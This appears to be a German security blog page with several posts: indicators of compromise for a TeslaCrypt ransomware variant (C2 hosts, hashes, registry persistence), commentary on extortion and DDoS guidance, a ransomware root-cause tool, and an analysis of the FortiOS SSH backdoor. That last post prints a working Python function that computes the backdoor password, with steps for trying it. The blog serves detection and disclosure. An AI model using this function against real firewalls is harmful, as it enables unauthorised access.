Analyse von Cryptolocker / TeslaCrypt Sample

Bei fast allen Typen von Ransomware, welche ich bisher analysiert hatte, waren die entsprechenden Locker-Samples ziemlich einfach aufzufinden: Diese kopieren sich nämlich einfach mal schnell ins Home-Directory des Users und verstecken sich dort (hidden Files). Doch wieso geht man so fahrlässig damit um? So ist das Sammeln von IOCs und anderen Verhaltensmustern ja ziemlich einfach und man muss andauernd wieder neue Versionen produzieren und verteilen… Natürlich ist es mittlerweile dank Packer und anderen Tools sehr einfach aus einem Sample gleich hundert neue zu generieren, doch wieso macht man sich den Aufwand überhaupt, wenn man es auch von Anfang an richtig machen könnte? Würde man den Locker lediglich aus dem Memory starten, so wäre es weitaus schwieriger, das Sample in die Finger zu bekommen, da man in der Regel den Stop der Verschlüsselung einer forensisch Tiefen Analyse des Clients vorzieht…

Diese Gedanken sind wieder aufgekommen, als mir vor kurzem ein Sample einer Variante von TeslaCrypt zugetragen wurde. Dieses ist aktuell noch nicht erkannt von den bekannten AV-Herstellern (Stand 17.03.2016), weshalb ich hier gerne meine IOCs weitergebe:

Netzwerk

Wie bei allen aktuellen Ransomware Samples gibt es auch hier natürlich einen initialen Kontakt mit C2 Systemen, mindestens um den entsprechenden Public-Key anzufordern, der sich durch charakteristisch klar erkennbare HTTP-Posts zeigt:

POST /*/*.[php|cgi] HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3 rv:11.0) like Gecko
Host: *
Content-Length: 645
Cache-Control: no-cache

Insgesamt findet die Kommunikation mit 2 verschiedenen Servern und mehreren URLs statt:

IP Domain Data
174.136.12.119 esbook.com POST /phsys.php HTTP/1.1
Accept: , \x90\x01\xb2, , , , , ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., w, ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., .
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3 rv:11.0) like Gecko
Host: esbook.com
Content-Length: 645
Cache-Control: no-cache
174.136.12.119 esbook.com GET /cgi-sys/suspendedpage.cgi HTTP/1.1
Accept: , \x90\x01\xb2, , , , , ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., w, ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., .
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 6.3 rv:11.0) like Gecko
Host: esbook.com
Cookie: _asomcnc=1
Cache-Control: no-cache
66.147.244.86 hmgame.net POST /phsys.php HTTP/1.1
Accept: , \x90\x01\xb2, , , , , ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., w, ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., ., .
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.3 rv:11.0) like Gecko
Host: hmgame.net
Content-Length: 645
Cache-Control: no-cache

File

Das File selbst kommt laut Metainfos von einer Firma namens „Cerious Software, Inc.“ und ist unter dem Namen „Recogniser Payslips“ in der Version „0.8.250.145“ verfügbar. Immerhin waren die Schreiber so ehrlich und haben die Software nur als Pre-Release veröffentlicht. 😀

Die gedroppten Files selbst bestehen aus einem Buchstaben-String von zufälligen Buchstaben. Bei meiner Ausführung war dies rwhiti.exe und jdlsfg.exe, zwei Namen, jedoch nur eine Datei dahinter… Die Files starten sich mehrfach selbst als Kindsprozesse, wohl um die Analyse zu erschweren. Nebenbei wird auch noch ein CMD.exe gestartet, mit dem Versuch rwhiti.exe zu löschen. Wieso hierbei aber auf das Löschen von jdlsfg.exe verzichtet wird, ist mir ein Rätsel, aber vielleicht kommt das ja noch, sobald wir die Stable-Version der Ransomware erreicht haben…

Einnisten tun sich die Files in der Registry an den üblichen Orten:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\"" = "%System%\CMD.EXE /C START %UserProfile%\My Documents\*.exe.

Das File selbst hat die folgenden Eigenschaften:

FILE NAME rwhiti.exe
FILE SIZE 406096 bytes
FILE TYPE PE32 executable (GUI) Intel 80386, for MS Windows
MD5 36876e94ffe785addb9b21e85f78b2fd
SHA1 e228d0cdd3ad649c5a31c464252646183d7b0fbf
SHA256 613e13ba403ad91777298999e968f3a0610c53e0ecdf99657db92fc508873a5c

Eine Zusammenfassung der IOC gibt es hier. Happy Hunting!

„Jemand hat bezahlt“ oder die wahren Verursacher von Unwissenheit

Gestern trumpfte eine Meldung in der 20min.ch mit der Überschrift „Schweizer Unternehmen liess sich erpressen„. Dabei ging es um den konkreten Fall einer Schweizer Unternehmung die angeblich auf die Erpressungen reagiert hat und sich freigekauft hat… Es geht mir auch gar nicht um diese Unternehmung selbst, doch viel mehr um die falschen Anreize, welche diese Aktion nun schafft! Ich meine, es gibt ja auch einen einfachen Grund wieso man offiziell die Haltung lebt, dass man mit Erpressern nicht verhandelt. Selbst wenn am Ende hintenrum immer mal wieder Geld fliest, so muss die offizielle Botschaft ganz klar lauten: WIR LASSEN UNS NICHT ERPRESSEN, da sonst falsche Anreize geschaffen werden, entweder für neue Täter oder aber auch für den selben Täter wieder. Dies aus dem einfachen Grund, dass man gesehen hat das Modell lohnt sich, selbst wenn ein zweiter Täter gar nicht die technischen Einrichtungen besitzt, um den Angriff tatsächlich durchzuführen, wenn bereits auf die Androhung hin bezahlt wird, so ist das klar ein neues Geschäftsmodell…

Und jetzt? Die „Schweizer Unternehmung“ ist nun Schuld, dass andere auch angegriffen werden?

Aber das Problem liegt hier in meinen Augen gar nicht wirklich bei der Unternehmung, die gezahlt hat, selbst, sondern viel mehr beim Bund, MELANI, GovCERT und all diesen Einrichtungen. Zwar gibt es von diesen offizielle Stellungnahmen und ein paar kurze Whitepapers, doch sind diese viel zu oberflächlich und allgemein… So heisst es:

„Typischerweise suchen Sie hier eine Lösung in enger Zusammenarbeit mit Ihrem ISP und/oder einem spezialisierten DDoSMitigation-Provider. (Quelle)“

Ahja! Und wie soll jemand, der schon keine Ahnung hat, dass es überhaupt Provider für DDoS-Protection gibt nun verstehen, was ein „spezialisierten DDoSMitigation-Provider“ ist und wo er nun einen findet? Ausserdem klingt das so hochgestochen, dass wohl jede mittelgrosse Unternehmung zum Schluss kommt, das kann sich ja niemand leisten:

«Wir hatten immer mal wieder DDoS-Angriffe, eine Attacke in diesem Ausmass gab es aber noch nie», sagt Stefan Meile, Inhaber von Insmoke.ch, der auch die Website Wernersheadshop.ch und fünf weitere Domains betreibt. Insgesamt arbeiten 13 Personen im Betrieb. Am Sonntag begannen die Angriffe. Erst waren die Websites nur für eine Stunde offline.«Am Montag waren wir für drei und am Dienstag für sieben Stunden nicht erreichbar», sagt Meile. Einen DDoS-Schutz hat der Betreiber bisher nicht. «Für KMUs ist das fast nicht bezahlbar», sagt er. (Quelle)

Umso mehr verstehe ich solche Aussagen. Eigentlich gibt es diverse DDoS-Protection-Services für einfache Webshops bereits ab CHF 20.- pro Monat, doch wenn man nicht weiss, wonach man schauen muss… Wieso also macht man sich von offizieller Seite nicht die Mühe, und veröffentlicht ein management-gerechtes Paper mit konkreten Beispielen, einem Proof Of Concept oder einer Success-Story. Oder MELANI setzt sich mal mit den grösseren ISP’s zusammen und definiert eine einfache Lösung inklusive Kontaktpunkt, wovon auch KMUs profitieren können (Gesamtpaket), denn wie soll man als kleine Unternehmung schon sinnvoll mit einem grossen Provider verhandeln, wenn man keine Ahnung hat, was man eigentlich braucht?

Alternative Root-Cause-Analyse für aktive Ransomware

Wie findet man die Ursache für eine laufende Verschlüsselung durch eine Ransomware in einem Netzwerk mit mehreren hundert Clients schnell und effektiv? Natürlich hat man ein SIEM, dass die Logs auswertet und korreliert und schnell und einfach anzeigen kann, welche Person wie viele Dateien auf ein Laufwerk geschrieben hat – ist ja klar!

Doch wie genau erkennt man die Ursache wenn das SIEM nun mal keine Ergebnisse liefert, weil zum Beispiel die Logs nicht angekommen sind oder nicht sauber verarbeitet wurden? Dann bleibt nur noch die Lösung, alle verschlüsselten Laufwerke zu identifizieren und zu schauen, welche Person als Schnittstelle auf allen Verzeichnissen Schreibrechte hat. Nur kann dieser Prozess selbst bei 20 möglichen Usern in drei bis 4 verschiedenen Gruppen durch manuelles aussortieren sehr lange gehen, während dem frisch fröhlich immer weiter verschlüsselt wird – und das gerade dann, wo jede einzelne Minute kritisch wäre!

group_member_analysis

Mit diesem Gedanken im Hinterkopf habe ich vor kurzem ein kleines Tool entworfen, in welchem sich bis zu vier Gruppen pro verschlüsseltem Laufwerk auslesen und dann mit ebenfalls bis zu vier weiteren Gruppen pro weiterem Laufwerk korrelieren lassen, bis die Schnittmenge im Idealfall nur noch eine einzelne Person ist. Natürlich ist dies je nach Anwendungsfall und Berechtigungskonzept nicht immer zielführend, aber meistens kann der Kreis der Verdächtigen damit fast immer auf eine Handvoll eingeschränkt werden, was die Analyse schon massiv vereinfacht und verkürzt.

Wer an dem Tool interessiert ist, der findet das C#.NET Projekt (Visual Studio) auf Github. Feedback ist gerne Willkommen, Verwendung wie immer auf eigene Gefahr!

Wenn übermässige Sicherheit zu Unsicherheit führt

Jede Person hat ihr gewisses Mass an Sicherheit, die sie erdulden kann, bis das Fass überläuft und eine Wirkung meist in die Gegenrichtung einsetzt. Die Benutzer erdulden Sicherheitsvorkehrungen und Mechanismen inklusive der Einschnitte in ihr Arbeits- und Privatleben, bis zu einer gewissen Schwelle und danach setzt die Kreativität ein und es wir um jeden Preis versucht, die Vorkehrungen zu umgehen, selbst wenn man dafür die Tür für noch viel grössere Risiken öffnet. Für alle Security Professionals ist es immer sehr schwierig sich knapp unter dieser Grenze zu bewegen, da diese für alle Personen unterschiedlich hoch oder tief liegt.

Ein sehr gutes Beispiel dazu, auf welches ich vor kurzem aufmerksam gemacht wurde, kommt von Shodan:

token

Hätte man ein simples Passwort gewählt, so wäre der User nie auf die Idee gekommen, dies vor eine Webcam zu kleben, damit er immer darauf zugreifen kann, sondern hätte es sich dieses im Idealfall einfach gemerkt. Vielleicht auch ein Handy-Token hätte bereits ausgereicht…

Doch ein Hardware-Token, verpackt in einem zusätzlichen Gerät, der sich noch alle paar Sekunden ändert, ging dann doch zu weit und kurzerhand wird der Token samt sehr wahrscheinlich der User-ID frisch fröhlich und für jeden zugänglich im Internet publiziert…

FortiOS SSH Backdoor ignoriert interne Sicherheitsfeatures

Hoffentlich haben mittlerweile alle Administratoren und Security Professionals von der SSH Backdoor in FortiOS gehört und auch bereits erste Sofortmassnahmen umgesetzt, denn die konkret am 09. Januar 2016 veröffentlichte Lücke ist Forti bereits seit über einem Jahr bekannt und wird wohl oder übel auch bereits solange in der freien Wildbahn ausgenutzt…

fulldisc

Doch wieso genau ist die Backdoor erst jetzt aufgetaucht? Ein ganzes Jahr ist ja eine ganz schön lange Zeitspanne ohne das ein Admin, IDS, SIEM oder ähnliches ein verdächtiges Verhalten entdeckt…

Der Grund, wieso wohl noch niemand etwas gemerkt hat, liegt in der internen Logging-Funktion! Konkret habe ich versucht, die Verwendung der Backdoor auf meinen Systemen im SIEM abzubilden und habe somit konkret die generierten Logs während dem Login ausgewertet und eine spannende Entdeckung gemacht:

Ein normales Login via SSH bricht in der Regel nach 3-5 Versuchen ab. Zusätzlich wird ein entsprechendes Log über ein failed Login geschrieben und je nach Einstellung der Benutzer sogar für X Minuten geblockt. Und wie sieht es aus, sobald der User „Fortimanager_Access“ verwendet wird? Weder Logs, noch ein Disconnect, noch ein Blockieren finden statt – jegliche Sicherheitsfeatures werden klang heimlich umgangen! Und da stell ich mir schon die Frage nach dem wieso? Selbst wenn sich jemand über den FortiManager Zugriff auf eine Firewall verschafft, selbst wenn dies ein gültiger Zugriff von einem Admin ist, so will ich dies doch geloggt haben. Also wo ist der Sinn, solche Verbindungen zu verstecken?

Wer das Szenario konkret testen will, der kann eine normale SSH Verbindung zu (s)einer Fortigate aufbauen und den Benutzer „Fortimanager_Access“ eintippen.

forti

Anstelle das hier nun ein normales Passwort angefragt wird, bekommt der User eine Zahlenfolge präsentiert, welche nach folgender Funktion zum effektiven Passwort verrechnet werden kann:

import base64
import hashlib

def calculate(key):
    n = key
    m = hashlib.sha1()
    m.update('\x00' * 12)
    m.update(n + 'FGTAbc11*xy+Qqz27')
    m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
    h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
    return [h]

Wir eine Version nach 5.0.7 verwendet, so wird der Benutzer als gesperrter User angesehen und die Verbindung wird per sofort getrennt. Einen entsprechenden Log-Eintrag gibt es noch immer nicht!

« Older Entries Recent Entries »